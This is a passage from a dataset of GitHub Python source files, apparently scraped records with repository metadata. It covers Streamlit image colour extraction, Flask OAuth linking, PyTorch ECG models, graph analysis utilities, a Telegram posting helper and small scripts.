node.run()\n","repo_name":"idmind-robotics/elmo-v2","sub_path":"src/driver_pan_tilt.py","file_name":"driver_pan_tilt.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5651542492","text":"import ingestor_pb2\nfrom  similarity import get_match\n\n\ndef calculate(file):\n\n    source = list(file.source)\n    target = list(file.target)\n\n    source_rt, target_rt, confidence_rt = get_match(source, target)\n    if source_rt != []:\n\n        myresponse = ingestor_pb2.response()\n        myresponse.source.extend(source_rt)\n        myresponse.target.extend(target_rt)\n        myresponse.confidence.extend(confidence_rt)\n        myresponse.SerializeToString()\n    else:\n        print('print some erorr occured')\n        myresponse = ingestor_pb2.response()\n        myresponse.source.extend(['Some error occured'])\n        myresponse.target.extend([target_rt])\n        myresponse.confidence.extend([confidence_rt])\n        myresponse.SerializeToString()\n\n    return myresponse\n\n","repo_name":"jaytimbadia/fuzz_match","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17564546258","text":"import streamlit as st\nimport requests\nfrom PIL import Image\nfrom io import BytesIO\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport plotly.express as px\n\n\ndef hide_header():\n    hide_decoration_bar_style = '<style>header {visibility: hidden;}</style>'\n    st.markdown(hide_decoration_bar_style, unsafe_allow_html=True)\n\n\ndef extract_colors(url):\n        # Download image from URL\n        #url = \"https://images.unsplash.com/photo-1593642532857-b24f09b835e5?ixlib=rb-1.2.1&auto=format&fit=crop&w=500&q=60\"\n        # Open image using PIL\n    col1, col2 = st.columns(2)\n\n    col1.image(url)\n\n    try:\n        img = Image.open(requests.get(url, stream=True).raw)\n\n            # Get all the colors in the image\n        colors = img.getcolors(img.size[0] * img.size[1])\n\n            # Extract the RGB values from the color tuples\n        rgb_colors = [[color[1][i] for i in range(3)] for color in colors]\n\n            #st.write(rgb_colors)\n\n            # Apply k-means clustering\n        kmeans = KMeans(n_clusters=5, random_state=0).fit(rgb_colors)\n        colors = kmeans.cluster_centers_\n\n\n            #df = pd.DataFrame(list(rgb_colors), columns=[\"R\", \"G\", \"B\"])\n            #df = pd.DataFrame(list(colors), columns=[\"R\", \"G\", \"B\"])\n            #st.write(df)\n\n            #df[\"cluster\"] = kmeans.labels_\n            #fig = px.scatter_3d(df, x=\"R\", y=\"G\", z=\"B\", color=\"cluster\", size_max=8)\n            #fig = px.scatter_3d(df, x=\"R\", y=\"G\", z=\"B\", color_discrete_sequence=[\"rgba(40, 40, 40,1)\", \"rgba(80, 80, 80,1)\", \"rgba(120, 120, 120,1)\"])\n            #st.plotly_chart(fig)\n\n        col2.empty()\n        col2.markdown(\"<div style='display:flex; justify-content: center; align-items: center;'>\",\n                    unsafe_allow_html=True)\n        for color in colors:\n            col2.markdown(\n             f'<div style=\"background-color: rgba({color[0]}, {color[1]}, {color[2]},1); width:20%; height:50px;\"></div>',\n                 unsafe_allow_html=True)\n        col2.markdown(\"</div>\", unsafe_allow_html=True)\n\n            #for color in colors:\n            #    col2.markdown(\n            #        f'<span style=\"background-color: rgba({color[0]}, {color[1]}, {color[2]},1);\">&nbsp;&nbsp;&nbsp;&nbsp;</span>', unsafe_allow_html=True)\n    except Exception as e:\n        col2.info('Failed to extract colors')\n        #st.write(e)\n\n\ndef analyse_images(images):\n    st.write(type(images))\n    for id, image in images.iterrows():\n        extract_colors(image['url'])\n        st.write(image['url'])\n\n    st.write(images)\n    st.write('---')\n\n\nif __name__ == \"__main__\":\n    st.set_page_config(page_title=\"Scrape App - Image analysis\", page_icon=\"🤖\", layout=\"wide\")\n    hide_header()\n    st.title('Image analysis')\n    if 'images' in st.session_state:\n        analyse_images(st.session_state.images)\n    else:\n        st.warning('No data. Go to main page first')\n","repo_name":"jungiroman/scraper","sub_path":"pages/Image analysis.py","file_name":"Image analysis.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"15854513264","text":"from flask_login import current_user, login_user\n\nfrom flask import session, request, redirect, url_for, abort, flash\nfrom sqlalchemy.exc import InterfaceError\nfrom extensions import db\nfrom models import User\n\n\ndef check_if_user_not_linked(provider_identifier, func, *args, **kwargs):\n    \"\"\"check if the current user is not linked to a provider or raises the appropriate error\"\"\"\n\n    if current_user.is_authenticated:\n        if not getattr(current_user, provider_identifier):\n            return func(*args, **kwargs)\n        else:\n            return abort(403)\n\n    else:\n        return abort(401)\n\n\ndef check_if_user_linked(provider_identifier, func, *args, **kwargs):\n    \"\"\"check if the current user is linked to a provider or raises the appropriate error\"\"\"\n\n    if current_user.is_authenticated:\n        if getattr(current_user, provider_identifier):\n            return func(*args, **kwargs)\n        else:\n            return abort(403)\n\n    else:\n        return abort(401)\n\n\ndef check_authorization(blueprint, login_route, func, *args, **kwargs):\n    \"\"\"check if authorized and authenticate if necessary\"\"\"\n\n    if not blueprint.session.authorized:\n        # store current route before redirecting so we can return after successful auth\n        session[\"next_url\"] = request.path\n        return redirect(url_for(login_route))\n    return func(*args, **kwargs)\n\n\ndef link_provider(user_identifier, provider_identifier, provider):\n    setattr(current_user, provider_identifier, user_identifier)\n    db.session.commit()\n    flash(f\"Your {provider} account has been linked.\")\n    return redirect(url_for('home.home_page', category='success'))\n\n\ndef unlink_provider(provider_identifier, provider):\n    setattr(current_user, provider_identifier, None)\n    db.session.commit()\n    flash(f\"Your {provider} account has been unlinked.\")\n    return redirect(url_for('home.home_page', category='success'))\n\n\ndef login_with_provider(provider_identifier, user_identifier):\n    if user_identifier:\n        try:\n            requested_user = User.query.filter_by(**{provider_identifier: user_identifier}).first()\n        except InterfaceError:\n            flash(\"User does not exist.\")\n            return redirect(url_for('login_system.login', category='danger'))\n        if requested_user:\n            login_user(requested_user)\n            return redirect(url_for('home.home_page'))\n        else:\n            flash(\"User does not exist.\")\n            return redirect(url_for('login_system.login', category='danger'))\n    else:\n        return abort(400)\n","repo_name":"ethanzrd/RESTful-blog-restructured","sub_path":"login_system/oauth/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"70768477159","text":"import torch.nn as nn\nimport torch\nimport nemo\n\nclass Decode(nn.Module):\n    \"\"\"\n    Decoder model\n    \"\"\"\n    def __init__(self):\n        super(Decode, self).__init__()\n        self.t_convb = nn.ConvTranspose1d(24, 48, 2, stride=2, padding=0)\n        self.t_convc = nn.ConvTranspose1d(48, 96, 2, stride=2, padding=0)\n        self.t_convd = nn.ConvTranspose1d(96, 144, 2, stride=2, padding=0)\n        self.t_conve = nn.ConvTranspose1d(144, 192, 2, stride=2, padding=1)\n\n    def forward(self, x):\n        x = self.t_convb(x)\n        x = self.t_convc(x)\n        x = self.t_convd(x)\n        x = self.t_conve(x)\n        return x\n\n\nclass Grad_Encoder(nn.Module):\n    \"\"\"\n    Encoder model\n    \"\"\"\n    def __init__(self):\n        super(Grad_Encoder, self).__init__()\n        self.conva = nn.Conv1d(192, 144, 2, stride=2,  padding=1)\n        self.convb = nn.Conv1d(144, 96, 2, stride=2, padding=0)\n        self.convc = nn.Conv1d(96, 48, 2, stride=2,  padding=0)\n        self.convd = nn.Conv1d(48, 24, 2, stride=2, padding=0)##\n\n    def forward(self, x):\n        x = self.conva(x)\n        x = self.convb(x)\n        x = self.convc(x)\n        x = self.convd(x)\n        return x\n\n\nclass Server(nn.Module):\n    \"\"\"\n    Server model\n    \"\"\"\n    def __init__(self):\n        super(Server, self).__init__()\n        self.drop2 = nn.Dropout(0.4)\n        self.conv3 = nn.Conv1d(192, 192, kernel_size=3, stride=2, dilation=1, padding=1)\n        nn.init.kaiming_normal_(self.conv3.weight, mode='fan_out', nonlinearity='relu')\n        self.relu3 = nn.ReLU()\n        #self.pool3 = nn.MaxPool1d(kernel_size=3, stride=2)\n        self.drop3 = nn.Dropout(0.4)\n        self.conv4 = nn.Conv1d(192, 192, kernel_size=3, stride=2, dilation=1, padding=1)\n        nn.init.kaiming_normal_(self.conv4.weight, mode='fan_out', nonlinearity='relu')\n        self.relu4 = nn.ReLU()\n        #self.pool4 = nn.MaxPool1d(kernel_size=3, stride=2)\n        self.drop4 = nn.Dropout(0.4)\n        self.conv5 = nn.Conv1d(192, 192, kernel_size=3, stride=2, dilation=1, padding=1)\n        nn.init.kaiming_normal_(self.conv5.weight, mode='fan_out', nonlinearity='relu')\n        self.relu5 = nn.ReLU()\n        #self.pool5 = nn.MaxPool1d(kernel_size=3, stride=2)\n        self.drop5 = nn.Dropout(0.4)\n        self.conv6 = nn.Conv1d(192, 192, kernel_size=3, stride=2, dilation=1, padding=1)\n        nn.init.kaiming_normal_(self.conv6.weight, mode='fan_out', nonlinearity='relu')\n        self.relu6 = nn.ReLU()\n        self.pool6 = nn.MaxPool1d(kernel_size=3, stride=2)\n        #self.pool5 = nn.MaxPool1d(kernel_size=3, stride=2)\n        #self.avgpool = nn.AdaptiveAvgPool1d((1))\n        self.flatt = nn.Flatten(start_dim=1)\n        self.linear2 = nn.Linear(in_features=192, out_features=5, bias=True)\n    def forward(self, x, drop = True):\n        if drop == True: x = self.drop2(x)\n        x = self.conv3(x)\n        x = self.relu3(x)\n        #x = self.pool3(x)\n        if drop == True: x = self.drop3(x)\n        x = self.conv4(x)\n        x = self.relu4(x)\n        #x = self.pool4(x)\n        if drop == True: x = self.drop4(x)\n        x = self.conv5(x)\n        x = self.relu5(x)\n        #x = self.pool5(x)\n        if drop == True: x = self.drop5(x)\n        x = self.conv6(x)\n        x = self.relu6(x)\n        x = self.pool6(x)\n        x = self.flatt(x)\n        x = torch.sigmoid(self.linear2(x))\n        return x\n\n\nclass Small_TCN_5(nn.Module):\n    def __init__(self, classes, n_inputs ):\n        super(Small_TCN_5, self).__init__()\n        # Hyperparameters for TCN\n        Kt = 19\n        pt = 0.3\n        Ft = 11\n\n        # Third block\n        dilation = 4\n        self.pad5 = nn.ConstantPad1d(padding=((Kt - 1) * dilation, 0), value=0)\n        self.conv5 = nn.Conv1d(in_channels=Ft, out_channels=Ft, kernel_size=Kt, dilation=dilation, bias=False)\n        self.batchnorm5 = nn.BatchNorm1d(num_features=Ft)\n        self.act5 = nn.ReLU()\n        self.dropout5 = nn.Dropout(p=pt)\n        self.pad6 = nn.ConstantPad1d(padding=((Kt - 1) * dilation, 0), value=0)\n        self.conv6 = nn.Conv1d(in_channels=Ft, out_channels=Ft, kernel_size=Kt, dilation=dilation, bias=False)\n        self.batchnorm6 = nn.BatchNorm1d(num_features=Ft)\n        self.act6 = nn.ReLU()\n        self.dropout6 = nn.Dropout(p=pt)\n        self.add3 = nemo.quant.pact.PACT_IntegerAdd()\n        self.reluadd3 = nn.ReLU()\n\n        # fourth block\n        dilation = 8\n        self.pad7 = nn.ConstantPad1d(padding=((Kt - 1) * dilation, 0), value=0)\n        self.conv7 = nn.Conv1d(in_channels=Ft, out_channels=Ft, kernel_size=Kt, dilation=dilation, bias=False)\n        self.batchnorm7 = nn.BatchNorm1d(num_features=Ft)\n        self.act7 = nn.ReLU()\n        self.dropout7 = nn.Dropout(p=pt)\n        self.pad8 = nn.ConstantPad1d(padding=((Kt - 1) * dilation, 0), value=0)\n        self.conv8 = nn.Conv1d(in_channels=Ft, out_channels=Ft, kernel_size=Kt, dilation=dilation, bias=False)\n        self.batchnorm8 = nn.BatchNorm1d(num_features=Ft)\n        self.act8 = nn.ReLU()\n        self.dropout8 = nn.Dropout(p=pt)\n        self.add4 = nemo.quant.pact.PACT_IntegerAdd()\n        self.reluadd4 = nn.ReLU()\n\n        # fifth block\n        dilation = 16\n        self.pad9 = nn.ConstantPad1d(padding=((Kt - 1) * dilation, 0), value=0)\n        self.conv9 = nn.Conv1d(in_channels=Ft, out_channels=Ft, kernel_size=Kt, dilation=dilation, bias=False)\n        self.batchnorm9 = nn.BatchNorm1d(num_features=Ft)\n        self.act9 = nn.ReLU()\n        self.dropout9 = nn.Dropout(p=pt)\n        self.pad10 = nn.ConstantPad1d(padding=((Kt - 1) * dilation, 0), value=0)\n        self.conv10 = nn.Conv1d(in_channels=Ft, out_channels=Ft, kernel_size=Kt, dilation=dilation, bias=False)\n        self.batchnorm10 = nn.BatchNorm1d(num_features=Ft)\n        self.act10 = nn.ReLU()\n        self.dropout10 = nn.Dropout(p=pt)\n        self.add5 = nemo.quant.pact.PACT_IntegerAdd()\n        self.reluadd5 = nn.ReLU()\n\n        # Last layer\n        self.linear = nn.Linear(in_features=Ft*1000, out_features=classes, bias=False) #Ft * 250\n\n    def forward(self, x, drop=True):\n        # Now we propagate through the network correctly\n\n        # Third block\n        res = self.pad5(x)\n        # res = self.pad5(res)\n        res = self.conv5(res)\n        res = self.batchnorm5(res)\n        res = self.act5(res)\n        if drop == True: res = self.dropout5(res)\n        res = self.pad6(res)\n        res = self.conv6(res)\n        res = self.batchnorm6(res)\n        res = self.act6(res)\n        if drop == True: res = self.dropout6(res)\n        x = self.add3(x, res)\n        x = self.reluadd3(x)\n\n        # Fourth block\n        res = self.pad7(x)\n        # res = self.pad5(res)\n        res = self.conv7(res)\n        res = self.batchnorm7(res)\n        res = self.act7(res)\n        if drop == True: res = self.dropout7(res)\n        res = self.pad8(res)\n        res = self.conv8(res)\n        res = self.batchnorm8(res)\n        res = self.act8(res)\n        if drop == True: res = self.dropout8(res)\n        x = self.add4(x, res)\n        x = self.reluadd4(x)\n\n        # Fifth block\n        res = self.pad9(x)\n        # res = self.pad5(res)\n        res = self.conv9(res)\n        res = self.batchnorm9(res)\n        res = self.act9(res)\n        res = self.dropout9(res)\n        res = self.pad10(res)\n        res = self.conv10(res)\n        res = self.batchnorm10(res)\n        res = self.act10(res)\n        res = self.dropout10(res)\n        x = self.add5(x, res)\n        x = self.reluadd5(x)\n\n        # Linear layer to classify\n        x = x.flatten(1)\n        o = self.linear(x)\n        o = torch.sigmoid(o)\n        return o  # Return directly without softmax\n\n\nclass DecodeTCN(nn.Module):\n    \"\"\"\n    decoder model\n    \"\"\" \n    def __init__(self):\n        super(DecodeTCN, self).__init__()\n        self.t_convb = nn.ConvTranspose1d(5, 8, 4, stride=2, padding=1)\n        self.t_convc = nn.ConvTranspose1d(8, 11, 4, stride=2, padding=1)\n        self.t_convd = nn.ConvTranspose1d(11, 11, 4, stride=2, padding=1)\n        #self.t_conve = nn.ConvTranspose1d(144, 192, 2, stride=2, padding=1)\n\n    def forward(self, x):\n        #print(\"decode 1 Layer: \", x.size())\n        x = self.t_convb(x)\n        #print(\"decode 2 Layer: \", x.size())\n        x = self.t_convc(x)\n        #print(\"decode 3 Layer: \", x.size())\n        x = self.t_convd(x)\n        #print(\"decode 4 Layer: \", x.size())\n        #x = self.t_conve(x)\n        #print(\"decode 4 Layer: \", x.size())\n        return x\n","repo_name":"a-ayad/Split_ECG_Classification","sub_path":"server/ModelsServer.py","file_name":"ModelsServer.py","file_ext":"py","file_size_in_byte":8415,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"22081666966","text":"#!/usr/bin/env python3\n\nimport copy\nimport bisect\n\nfrom defect.util import zip_variadic, zip_matching_length\n\nimport numpy as np\n\n# FIXME this file currently simultaneously tries to support multiple paradigms\n# (a bunch of free functions operating on dicts, versus gratituous use of structured numpy arrays)\n#\n# As a result, some properties of the data can be computed via two completely independent code paths.\n# This is the *bad* kind of redundancy (the kind which can easily become inconsistent!)\n\ndef read_info(path):\n\timport json\n\twith open(path) as f:\n\t\ts = f.read()\n\treturn json.loads(s)\n\ndef trial_defects_stepwise(trial_info):\n\treturn map(len, trial_info['steps']['deleted'])\n\ndef trial_defects_cumulative(trial_info):\n\treturn prefix_sums(trial_defects_stepwise(trial_info), zero=0)\n\ndef trial_max_defects_possible(trial_info):\n\t# FIXME this assumes there's exactly 2 non-deletable vertices\n\treturn trial_info['graph']['num_vertices'] - 2\n\ndef trial_defects_ratio(trial_info):\n\tn = trial_max_defects_possible(trial_info)\n\treturn [float(x) / n for x in trial_defects_stepwise(trial_info)]\n\ndef trial_current(trial_info):\n\treturn trial_info['steps']['current']\n\ndef trial_resistance(trial_info):\n\treturn map(lambda x: 1./x, trial_current(trial_info))\n\ndef trial_array(trial_info):\n\tsteps = trial_info['steps']\n\tdata_iter = zip_matching_length(*steps.values())\n\n\t# numpy is REALLY picky about container types\n\tdata_tuples = list(map(tuple, data_iter))\n\n\t# autogenerate record type based on python value types\n\t# not sure how reliable this will be versus hardcoded names/types\n\tspec = []\n\tfor name, value in zip(steps.keys(), data_tuples[0]):\n\t\tspec.append((name, type(value)))\n\n\tassert all(type(v) == typ for v,(name,typ) in zip(data_tuples[0], spec))\n\treturn np.array(data_tuples, dtype=spec)\n\ndef trialset_array(trial_infos):\n\treturn np.vstack(list(trial_array(info) for info in trial_infos))\n\n# FIXME there's some redundant functionality between this and previously existing \"trialset\"\n#  functions currently as the two different interfaces kind of work at odds to eachother\ndef trialset_augmented_array(trialset_info):\n\tarr = trialset_array(trialset_info)\n\n\tfields = listify_dtype(arr.dtype)\n\toldnames = [x[0] for x in fields]\n\tfields.append(('step', 'i8'))\n\tfields.append(('deleted_cum', 'O'))\n\tfields.append(('deleted_count', 'i8'))\n\tfields.append(('deleted_count_cum', 'i'))\n\tfields.append(('deleted_ratio', 'f8'))\n\n\tout = np.zeros(arr.shape, dtype=fields)\n\tfor name in oldnames:\n\t\tout[name] = arr[name]\n\n\tfor t_out,t_info in zip(out, trialset_info):\n\t\tt_out['step'] = np.arange(len(t_out))\n\t\tt_out['deleted_cum'] = trial_deleted_cum_array(t_info)\n\n\tout['deleted_count'] = np.vectorize(len)(out['deleted'])\n\tout['deleted_count_cum'] = np.vectorize(len)(out['deleted_cum'])\n\n\tout['deleted_ratio'] = np.float64(out['deleted_count_cum']) / trial_max_defects_possible(trialset_info[0])\n\tassert (out['deleted_count_cum'] == np.vectorize(len)(out['deleted_cum'])).all()\n\treturn out\n\n# converts a np.dtype into a python list in the format accepted by np.array\ndef listify_dtype(dtype):\n\t# np.dtype is not iterable o_O\n\ttypes = [dtype[i] for i in range(len(dtype))]\n\treturn list(zip(dtype.names, types))\n\n# Provides a complete list of all vertices deleted up to a point for any given step.\n# To avoid O(N^2) memory requirements, each element is actually a slice of a shared master array.\ndef trial_deleted_cum_array(trial_info):\n\tarr = trial_array(trial_info)\n\n\tassert isinstance(arr['deleted'][0], list)\n\tpieces = [np.array(x, dtype='O') for x in arr['deleted']]\n\tmaster = np.hstack(pieces)\n\n\tlengths = np.array([len(x) for x in pieces])\n\tstops   = np.cumsum(lengths)\n\tviews   = [master[:x] for x in stops]\n\n\treturn object_array(views, ndim=1)\n\n# Force creation of an object-type numpy array (``dtype='O'``) with the specified number of\n#  dimensions, rather than letting numpy wing it with its crazy value-based magicks:\n#\n# >>> np.array([[1,2],[3,4],[5,6],[7]], dtype='O').shape    # 1d array of lists\n# (4,)\n# >>> np.array([[1,2],[3,4],[5,6],[7,8]], dtype='O').shape  # 2d array of integers  (!!!)\n# (4, 2)\ndef object_array(objects, ndim=1):\n\t# listify objects in case it is iterable.\n\t# keep in mind ``np.array`` cannot be trusted with this as it auto-detects ndim\n\t#   and may coerce the actual objects themselves into array if they happen to be\n\t#   list-like and of equal length\n\tobjects = ndim_list_create(objects, ndim)\n\tshape = ndim_list_shape(objects, ndim)\n\n\tout = np.zeros(shape, dtype='O')\n\tout[...] = objects\n\treturn out\n\n# create an \"ndim_list\" (a multidimensional list of known depth) from any iterable.\n# lengths are assumed to be equal along each axis.\ndef ndim_list_create(src, ndim):\n\tassert ndim > 0\n\tif ndim == 1:\n\t\treturn list(src)\n\telse:\n\t\tinner = lambda x: ndim_list_create(x, ndim-1)\n\t\treturn list(map(inner, src))\n\ndef ndim_list_shape(lst, ndim):\n\tassert ndim > 0\n\tshape = [None]*ndim\n\tfor i in range(ndim):\n\t\tshape[i] = len(lst)\n\t\tlst = lst[0]\n\tassert None not in shape\n\treturn tuple(shape)\n\n# Note: because omitting steps from the beginning/middle of the trial may mess\n#  with \"cumulative\" properties, it's not a very good idea to use this for any\n#  purpose other than cutting stuff off from the end.\ndef slice_steps(step_info, *args):\n\tsl = slice(*args)\n\treturn {k:v[sl] for k,v in step_info.items()}\n\n# ignores shorter trials once they are zero\ndef trialset_average_current(trial_infos):\n\tassert are_lists_consistent(trial_defects_cumulative(x) for x in trial_infos)\n\n\tcurrents = [trial_current(x) for x in trial_infos]\n\n\treturn map(average, zip_variadic(*currents))\n\ndef trialset_defects_cumulative(trial_infos):\n\treturn reduce_consistent_lists(trial_defects_cumulative(x) for x in trial_infos)\n\ndef trim_trial_by_current(trial_info, threshold=0.0):\n\tcurrent = trial_current(trial_info)\n\n\t# current monotonically decreases --> this monotonically increases\n\tarr = [-x for x in current]\n\tval = -threshold\n\n\tzero_idx = bisect.bisect_left(arr, val)\n\n\tassert all(abs(x) > threshold*(1 - 1e-14) for x in arr[:zero_idx])\n\tassert all(abs(x) <= threshold*(1 + 1e-14) for x in arr[zero_idx:])\n\n\tresult = copy.deepcopy(trial_info)\n\tresult['steps'] = slice_steps(result['steps'], 0, zero_idx)\n\treturn result\n\n# FIXME annoying signature; unlike other \"trial\" functions, this takes the\n#  complete info and a trial index.  This is because the deletion mode is\n#  not present in the individual trial infos (can we change that?)\n# FIXME also don't like the idea/placement of this in general; it basically\n#  tries to simulate a trial, which means any changes to the trial runner may\n#  need to be reflected here\ndef trial_edge_currents_at_step(g, cycles, info, trialid, step):\n\tfrom defect.trial import node_deletion\n\tfrom defect.trial.cyclebasis_provider import builder_cbupdater\n\tfrom defect.circuit import MeshCurrentSolver\n\n\t# get the deletion func\n\tdeletion_mode = node_deletion.from_info(info['defect_mode'])\n\tdeletion_func = deletion_mode.deletion_func\n\n\t# gather all vertices deleted at the specified step\n\tarr = trialset_augmented_array(info['trials'])\n\tdeleted = arr['deleted_cum'][trialid][step]\n\n\tsolver = MeshCurrentSolver(g, cycles, builder_cbupdater())\n\tfor v in deleted:\n\t\tdeletion_func(solver, v)\n\n\tcurrents = solver.get_all_currents()\n\treturn currents\n\n# True if all provided lists contain the same values up to where each is defined\n# (the lists may be of different length)\ndef are_lists_consistent(its):\n\treturn all(map(all_equal, zip_variadic(*its)))\n\n# are all elements equal?\ndef all_equal(vals):\n\tvals = list(vals)\n\tif len(vals) == 0:\n\t\treturn True\n\n\treturn all(x == vals[0] for x in vals)\n\n# takes consistent lists (lists which have the same values but possibly different\n# lengths) and returns a copy of the longest list.\ndef reduce_consistent_lists(its):\n\tits = list(its)\n\tif len(its) == 0:\n\t\treturn []\n\n\tits = [list(x) for x in its]\n\tif are_lists_consistent(its):\n\t\tlengths = list(map(len, its))\n\t\treturn its[lengths.index(max(lengths))]\n\telse:\n\t\traise ValueError('Lists are not consistent!')\n\ndef average(xs, zero=0.0):\n\txs = list(xs)\n\treturn sum(xs, 0.0)/len(xs)\n\ndef prefix_sums(xs, zero=0.0):\n\tsums = []\n\ts = zero\n\tfor x in xs:\n\t\ts += x\n\t\tsums.append(s)\n\treturn sums\n\n# tests I'm too lazy to give a proper place >_>\nassert all_equal([])\nassert all_equal([2.])\nassert all_equal([2.,2.,2.,2.])\nassert not all_equal([2.,2.,1.,2.])\n\nassert reduce_consistent_lists([]) == []\nassert reduce_consistent_lists([[5.,6.],[5.,6.,7.],[5.]]) == [5.,6.,7.]\n\ntry: reduce_consistent_lists([[5.,3.],[5.,6.,7.],[5.]])\nexcept ValueError: pass\nelse: assert False\n\n","repo_name":"ExpHP/defect","sub_path":"defect/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":8600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43325519730","text":"import requests\nfrom pathlib import Path\nimport telegram\nimport os\nimport time\n\n\ndef save_pictures(url, path, title, num, ext, params=None):\n    response = requests.get(url, params=params)\n    response.raise_for_status()\n    filename = Path.cwd() / path / f'{title}_{num}{ext}'\n    with open(filename, 'wb') as file:\n        file.write(response.content)\n\n\ndef send_img_to_telegram(path, chat_id, token):\n    bot = telegram.Bot(token=token)\n    with open(path, 'rb') as file:\n        bot.send_document(chat_id=chat_id, document=file)\n\n\ndef collect_files_in_dir_path(path):\n    files = []\n    for (dirpath, dirnames, filenames) in os.walk(path):\n        for file in filenames:\n            files.append(Path.cwd() / dirpath / file)\n    return files\n\n\ndef publication_to_telegram(path, chat_id, token, sec):\n    files = collect_files_in_dir_path(path)\n    while True:\n        try:\n            for file in files:\n                send_img_to_telegram(file, chat_id, token)\n        except telegram.error.NetworkError:\n            time.sleep(60)\n            continue\n        time.sleep(sec)\n","repo_name":"Dim4ik8/devman_space","sub_path":"help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74434780519","text":"import os\nimport json\nfrom  datetime import datetime\n\nMETA_DATA_FORMAT = {\n        'fileId': '',\n        'caseType': '',\n        \"fileName\": '',\n        \"dirPath\": '',\n        \"filePath\": '',\n        \"created\": '',\n        \"tifStatus\": \"none\",\n        \"tifJobId\": \"\",\n        \"pngStatus\": \"none\",\n        \"pngJobId\": \"\",\n        \"maskStatus\": \"none\",\n        \"maskJobId\": \"\" \n    }\ndef get_meta_path(uuid, meta_dir):\n    return os.path.join(meta_dir, uuid+\".meta\")\n   \ndef set_meta_field(uuid, field, value, meta_dir):\n    fpath =get_meta_path(uuid, meta_dir)\n    # print(fpath)\n    meta = None\n    with open(fpath, \"r\") as f:\n        meta = json.loads(f.read())\n        meta[field] = value\n    \n    if meta:\n        with open(fpath, \"w\") as o:\n            json.dump(meta, o)\n\ndef get_meta_field(uuid, field, meta_dir):\n    fpath = get_meta_path(uuid, meta_dir)\n    meta = None\n    with open(fpath, \"r\") as f:\n        meta = json.loads(f.read())\n    \n    if meta:\n        return meta[field]\n\ndef make_meta(uuid, meta_dir, **kwargs):\n    if not os.path.exists(get_meta_path(uuid, meta_dir)):\n        with open(get_meta_path(uuid, meta_dir), \"w\") as f:\n            json.dump(META_DATA_FORMAT, f)\n    for k, v in kwargs.items():\n        set_meta_field(uuid, k, v, meta_dir)\n    \n    if 'created' not in kwargs:\n        set_meta_field(uuid, 'created', datetime.fromtimestamp(os.path.getctime(get_meta_path(uuid, meta_dir))).strftime('%Y-%m-%d %H:%M:%S'), meta_dir)","repo_name":"tharencandi/undergrad_capstone","sub_path":"src/webportal/metafiles.py","file_name":"metafiles.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24626366545","text":"filename=\"text_files/dracula.txt\"\r\nword=' the '\r\n\r\ntry:\r\n\twith open(filename, encoding=\"utf-8\") as f:\r\n\t\ttext=f.read()\r\n\t\twords=text.split()\r\n\t\tprint(f\"The word '{word.strip()}' shows up {text.count(word)} times.\")\r\n\t\tprint(\r\n\t\t\tf\"The word '{word.strip()}' or '{word.strip().title()}' \"\r\n\t\t\t\"shows up {text.lower().count(word)} times.\"\r\n\t\t\t)\r\n\r\nexcept FileNotFoundError:\r\n\tprint(f\"'{filename}' not found.\")","repo_name":"Guillermo-Ramirez-Jimenez/Python-exercises","sub_path":"Chapter 10/common_words.py","file_name":"common_words.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70769089639","text":"def Min(n,lst,mIN = None):\n    #print(mIN)\n    #print(n+1 == len(lst))\n    if n+1 == len(lst):\n        mIN = int(lst[n])\n    if n <0:\n        return mIN\n    else:\n\n        if int(lst[n])< mIN:\n            mIN = int(lst[n])\n        #print(\"sfksf\")\n        return Min(n-1,lst,mIN)\n\n\n\n\n\n\n\nlst = input('Enter Input : ').split(' ')\nprint(\"Min : \",end=\"\")\nprint(Min(len(lst)-1,lst))","repo_name":"51mpp/Recursion-","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"75107811880","text":"from django.http import JsonResponse\n\nfrom chemical.models import Chemical\nfrom tools.plant_food_rec.helpers import det_match_results\n\n\ndef index(request, pk):\n    try:\n        chemical = Chemical.objects.get(pk=pk)\n        matched_data = det_match_results(chemical)\n    except Chemical.DoesNotExist:\n        matched_data = []\n\n    return JsonResponse({'results': matched_data, 'count': len(matched_data)})\n","repo_name":"EugeneBilenko/partial","sub_path":"tools/plant_food_rec/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
